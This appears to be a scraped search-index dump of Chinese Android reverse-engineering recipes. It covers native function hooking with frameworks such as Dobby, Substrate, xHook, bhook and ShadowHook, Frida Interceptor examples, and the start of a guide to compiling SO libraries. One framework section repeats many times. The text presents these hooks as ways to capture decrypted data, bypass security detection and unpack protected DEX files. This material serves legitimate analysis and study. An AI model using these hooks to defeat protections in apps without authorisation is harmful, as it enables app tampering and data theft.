mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#substrate-cydia-substrate"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#dobby"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#xhook-爱奇艺开源"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#bhook-字节跳动开源"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#shadowhook-字节跳动开源"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#and-hook"},{"categories":null,"collections":null,"content":"8.3 主流 Inline Hook 框架 Substrate (Cydia Substrate) 最早的 iOS/Android Hook 框架，业界标准。 // Substrate API #include // 原函数指针 static int (*orig_open)(const char *path, int flags, ...); // Hook 函数 int hook_open(const char *path, int flags, ...) { // 自定义逻辑 __android_log_print(ANDROID_LOG_DEBUG, \"HOOK\", \"open: %s\", path); // 调用原函数 return orig_open(path, flags); } // 安装 Hook MSHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); Dobby 跨平台的轻量级 Hook 框架，支持 ARM/ARM64/x86/x86_64。 // Dobby API #include \"dobby.h\" // 原函数指针 static int (*orig_open)(const char *path, int flags, mode_t mode); // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"open: %s\", path); return orig_open(path, flags, mode); } // 安装 Hook DobbyHook((void *)open, (void *)hook_open, (void **)\u0026orig_open); // 卸载 Hook DobbyDestroy((void *)open); xHook (爱奇艺开源) 基于 PLT/GOT 的 Hook 框架，稳定性好，但只能 Hook 外部函数调用。 // xHook API #include \"xhook.h\" // Hook 函数 int my_open(const char *path, int flags, ...) { LOG(\"xhook open: %s\", path); // 调用原函数需要使用 xhook 的方式 return XHOOK_CALL_ORIG(open, path, flags); } // 注册 Hook xhook_register(\".*\\\\.so$\", \"open\", my_open, NULL); // 刷新 Hook xhook_refresh(0); bhook (字节跳动开源) PLT Hook 框架，支持自动管理 Hook 代理。 // bhook API #include \"bytehook.h\" // Hook 函数 int my_open(const char *path, int flags, mode_t mode) { LOG(\"bhook open: %s\", path); // 调用原函数 BYTEHOOK_CALL_PREV(my_open, path, flags, mode); return result; } // 注册 Hook bytehook_hook_single( \"libc.so\", // 目标库 NULL, // 调用者 (NULL = 所有) \"open\", // 函数名 (void *)my_open, // Hook 函数 NULL, // 回调 NULL // 用户数据 ); ShadowHook (字节跳动开源) 真正的 Inline Hook 框架，支持 Hook 任意函数。 // ShadowHook API #include \"shadowhook.h\" // 原函数类型 typedef int (*open_t)(const char *, int, mode_t); static open_t orig_open; // Hook 函数 int hook_open(const char *path, int flags, mode_t mode) { LOG(\"shadowhook open: %s\", path); return orig_open(path, flags, mode); } // 安装 Inline Hook void *stub = shadowhook_hook_func_addr( (void *)open, // 目标函数地址 (void *)hook_open, // Hook 函数 (void **)\u0026orig_open // 原函数指针 ); // 卸载 Hook shadowhook_unhook(stub); And-Hook 轻量级 Android Inline Hook 库。 // And-Hook API #include \"And64InlineHook.hpp\" // Hook A64HookFunction((void *)target_func, (void *)hook_func, (void **)\u0026orig_func); Whale 支持多种 Hook 模式的框架。 // Whale API - Inline Hook WInlineHookFunction((void *)open, (void *)hook_open, (void **)\u0026orig_open); // Whale API - Import Hook (类似 PLT Hook) WImportHookFunction(\"libnative.so\", \"open\", (void *)hook_open, (void **)\u0026orig_open); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:3","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#whale"},{"categories":null,"collections":null,"content":"8.4 框架选型对比 框架 Hook 类型 架构支持 稳定性 性能 适用场景 Substrate Inline ARM/ARM64/x86 ★★★★★ ★★★★ 通用 Hook，Xposed/Cydia Dobby Inline ARM/ARM64/x86/x64 ★★★★ ★★★★★ 跨平台，轻量级 xHook PLT/GOT ARM/ARM64/x86/x64 ★★★★★ ★★★★ 外部函数 Hook bhook PLT/GOT ARM/ARM64 ★★★★★ ★★★★★ 外部函数 Hook，自动代理 ShadowHook Inline ARM/ARM64 ★★★★ ★★★★★ 任意函数 Hook And-Hook Inline ARM/ARM64 ★★★ ★★★★ 简单场景 Whale Inline/Import ARM/ARM64 ★★★ ★★★ 多模式需求 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:4","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#84-框架选型对比"},{"categories":null,"collections":null,"content":"8.5 选型建议 只需要 Hook 外部函数调用 → 优先选择 bhook 或 xHook 稳定性高，兼容性好 不需要处理指令重定位 需要 Hook 任意函数地址 → 选择 ShadowHook 或 Dobby ShadowHook 对 Android 优化更好 Dobby 跨平台能力强 Xposed 模块开发 → 使用 Substrate 或 Dobby Substrate 是 Xposed 默认使用的框架 Dobby 作为替代方案也很成熟 性能敏感场景 → bhook \u003e ShadowHook \u003e Dobby PLT Hook 性能开销最小 Inline Hook 需要更多处理 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:5","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#85-选型建议"},{"categories":null,"collections":null,"content":"8.6 Frida 中的 Inline Hook Frida 的 Interceptor.attach 内部也是使用 Inline Hook 实现的： // Frida 使用内置的 Inline Hook 引擎 Interceptor.attach(Module.findExportByName(\"libc.so\", \"open\"), { onEnter: function(args) { console.log(\"open:\", args[0].readCString()); }, onLeave: function(retval) { console.log(\" -\u003e fd:\", retval); } }); // Frida 也支持直接替换函数 Interceptor.replace(targetAddr, new NativeCallback(function(arg0, arg1) { console.log(\"Replaced function called\"); return 0; }, 'int', ['pointer', 'int'])); ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:6","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#86-frida-中的-inline-hook"},{"categories":null,"collections":null,"content":"8.7 实战示例：使用 Dobby Hook JNI 函数 💡 思路一句话: Dobby 是内联 hook 框架，适合 hook native 函数入口 — 找到目标函数偏移 → 编写 hook 替换函数 → 在替换函数中记录参数/修改返回值 → 调用原始函数保持功能正常。 #include \u003cjni.h\u003e #include \u003candroid/log.h\u003e #include \"dobby.h\" #define LOG(...) __android_log_print(ANDROID_LOG_DEBUG, \"DobbyHook\", __VA_ARGS__) // 原函数指针 static jstring (*orig_NewStringUTF)(JNIEnv *env, const char *bytes); // Hook 函数 jstring hook_NewStringUTF(JNIEnv *env, const char *bytes) { LOG(\"NewStringUTF: %s\", bytes); // 可以修改字符串 if (strstr(bytes, \"secret\") != NULL) { return orig_NewStringUTF(env, \"hooked!\"); } return orig_NewStringUTF(env, bytes); } // 获取 JNI 函数地址 void *get_jni_func(JNIEnv *env, const char *name) { // JNINativeInterface 结构体偏移 // NewStringUTF 在 JNINativeInterface 中的偏移是 167 void **jni_funcs = *(void ***)env; return jni_funcs[167]; // NewStringUTF offset } // 初始化 Hook void init_hooks(JNIEnv *env) { void *NewStringUTF_addr = get_jni_func(env, \"NewStringUTF\"); DobbyHook( NewStringUTF_addr, (void *)hook_NewStringUTF, (void **)\u0026orig_NewStringUTF ); LOG(\"Hook installed at %p\", NewStringUTF_addr); } JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) { JNIEnv *env; vm-\u003eGetEnv((void **)\u0026env, JNI_VERSION_1_6); init_hooks(env); return JNI_VERSION_1_6; } ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:7","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#87-实战示例使用-dobby-hook-jni-函数"},{"categories":null,"collections":null,"content":"8.8 注意事项 线程安全：Hook 安装时需要考虑多线程并发执行 指令对齐：ARM 指令需要 4 字节对齐，Thumb 需要 2 字节对齐 指令重定位：被覆盖的指令如果包含 PC 相对寻址，需要重新计算 缓存刷新：修改代码后需要刷新 CPU 指令缓存 权限检查：需要确保内存页有可写权限 (mprotect) ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:8:8","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#88-注意事项"},{"categories":null,"collections":null,"content":"总结 Native 层 Hook 是 Android 逆向的核心技能之一。通过 Hook libc 函数（如 open、dlopen、memcpy、strcmp 等），我们可以： 监控文件操作，发现配置文件和动态加载的库 跟踪内存操作，捕获解密后的数据 分析字符串比较，绕过安全检测 进行脱壳分析，提取被保护的 DEX 文件 在技术选型时： PLT/GOT Hook (xHook, bhook)：稳定性好，适合 Hook 外部函数调用 Inline Hook (Dobby, ShadowHook)：灵活性强，可以 Hook 任意地址 Frida Interceptor：开发效率高，适合快速分析和原型验证 在实践中，需要根据目标应用的具体行为和需求来选择合适的 Hook 技术和框架。 ","date":"2024-10-03","objectID":"/reverse_engineering/android/01-recipes/scripts/native_hooking/:9:0","tags":["Native层","Frida脚本","Frida","代理池","DEX","脱壳"],"title":"Native 层 Hook 技巧 (Native Hooking Patterns)","uri":"/reverse_engineering/android/01-recipes/scripts/native_hooking/#总结"},{"categories":null,"collections":null,"content":"SO 动态库编译与加载 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 ELF 文件的段与节 JNI 开发与调用原理 - 理解 Java 与 Native 的交互 本章介绍如何从零开始编译 Android SO 动态库，以及 Android 系统加载 SO 的完整流程。理解这些原理对于逆向分析 Native 层代码至关重要。 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:0:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#so-动态库编译与加载"},{"categories":null,"collections":null,"content":"SO 文件基础 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:1:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#so-文件基础"},{"categories":null,"collections":null,"content":"什么是 SO 文件 SO (Shared Object) 是 Linux/Android 系统的动态链接库格式，相当于 Windows 的 DLL。它采用 ELF (Executable and Linkable Format) 格式。 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:1:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#什么是-so-文件"},{"categories":null,"collections":null,"content":"SO 文件结构 ┌─────────────────────┐ │ ELF Header │ 文件类型、架构、入口点 ├─────────────────────┤ │ Program Headers │ 段加载信息 ├─────────────────────┤ │ .text │ 可执行代码 ├─────────────────────┤ │ .rodata │ 只读数据（字符串常量等） ├─────────────────────┤ │ .data │ 已初始化的全局变量 ├─────────────────────┤ │ .bss │ 未初始化的全局变量 ├─────────────────────┤ │ .dynamic │ 动态链接信息 ├─────────────────────┤ │ .dynsym │ 动态符号表 ├─────────────────────┤ │ .dynstr │ 动态字符串表 ├─────────────────────┤ │ Section Headers │ 节信息 └─────────────────────┘ ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:1:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#so-文件结构"},{"categories":null,"collections":null,"content":"Android 支持的 CPU 架构 ABI 架构 说明 arm64-v8a ARMv8-A (64 位) 现代 Android 设备主流 armeabi-v7a ARMv7-A (32 位) 老旧设备兼容 x86_64 x86-64 (64 位) 模拟器、部分平板 x86 x86 (32 位) 老旧模拟器 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:1:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#android-支持的-cpu-架构"},{"categories":null,"collections":null,"content":"编译环境准备 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:2:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#编译环境准备"},{"categories":null,"collections":null,"content":"1. 安装 Android NDK # 方式一：通过 Android Studio SDK Manager 安装 # 方式二：命令行下载 # 下载地址：https://developer.android.com/ndk/downloads wget https://dl.google.com/android/repository/android-ndk-r25c-linux.zip unzip android-ndk-r25c-linux.zip export NDK_HOME=/path/to/android-ndk-r25c export PATH=$PATH:$NDK_HOME ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:2:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 